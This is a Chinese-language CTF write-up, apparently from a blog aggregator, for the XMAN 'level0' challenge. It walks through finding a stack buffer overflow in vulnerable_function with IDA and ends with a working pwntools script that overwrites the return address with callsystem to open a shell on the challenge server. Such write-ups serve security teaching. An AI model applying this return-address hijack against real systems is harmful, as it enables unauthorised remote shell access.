XMAN-level0(hijack_control_flow)

思路:这题考察hijack_control_flow,题目存在一个系统函数,其功能是开启一个shell,我们可以覆盖返回地址为该函数地址,从而劫持控制流,即可getshell。

1.用gdb-peda自带的功能检查一下是否开启nx,栈保护等机制。

XMAN-level0(hijack_control_flow)_第1张图片

2.file命令看一下是32位还是64位。

3.IDA64位打开文件,按空格键切换到文本界面,再按F5查看反汇编代码,理解程序逻辑。

双击vulnerable_function可进入该函数。

XMAN-level0(hijack_control_flow)_第2张图片

4.到了这里我们发现主要问题出在vulnerable_function,如果输入超过0x80个字节,就会导致缓冲区溢出。但是由于开启了NX,所以栈上数据无法执行。我们按shift + F12查看是否有直接可以利用的函数。

双击该字符串/bin/sh,跳到该字符串出现的区域。

XMAN-level0(hijack_control_flow)_第3张图片

双击后面的函数callsystem,可以跳到该函数,再按F5,查看该函数,发现这是一个开启shell的函数,我们可以直接利用。

XMAN-level0(hijack_control_flow)_第4张图片

5.到这里思路就明确了,我们只要将程序的逻辑修改成下图的执行流程就可以得到一个shell了。

XMAN-level0(hijack_control_flow)_第5张图片

6.由下图知道缓冲区到rbp的距离是0x80字节,然后再加上0x08字节的rbp,就到vulnerable_function函数返回地址了,这里我们用callsystem函数的开始地址覆盖该返回地址即可。(具体原理需要查阅函数调用栈相关的知识)

XMAN-level0(hijack_control_flow)_第6张图片

具体脚本如下:

# coding:utf-8
from pwn import *

context.log_level = 'debug'
# sh = process('./level0')
sh = remote("pwn2.jarvisoj.com",9881)
elf = ELF("./level0")
callsys_addr = elf.symbols['callsystem'] #通过处理level0获得callsystem的开始地址
sh.recvuntil('World\n')#接收到'World\n'后,此处有换行符
payload = 'A' * (0x80 + 0x8) + p64(callsys_addr)#p64将数字转换成字符串
sh.send(payload)
sh.interactive()#打开交互模式
sh.close()

你可能感兴趣的:(XMAN-level0(hijack_control_flow))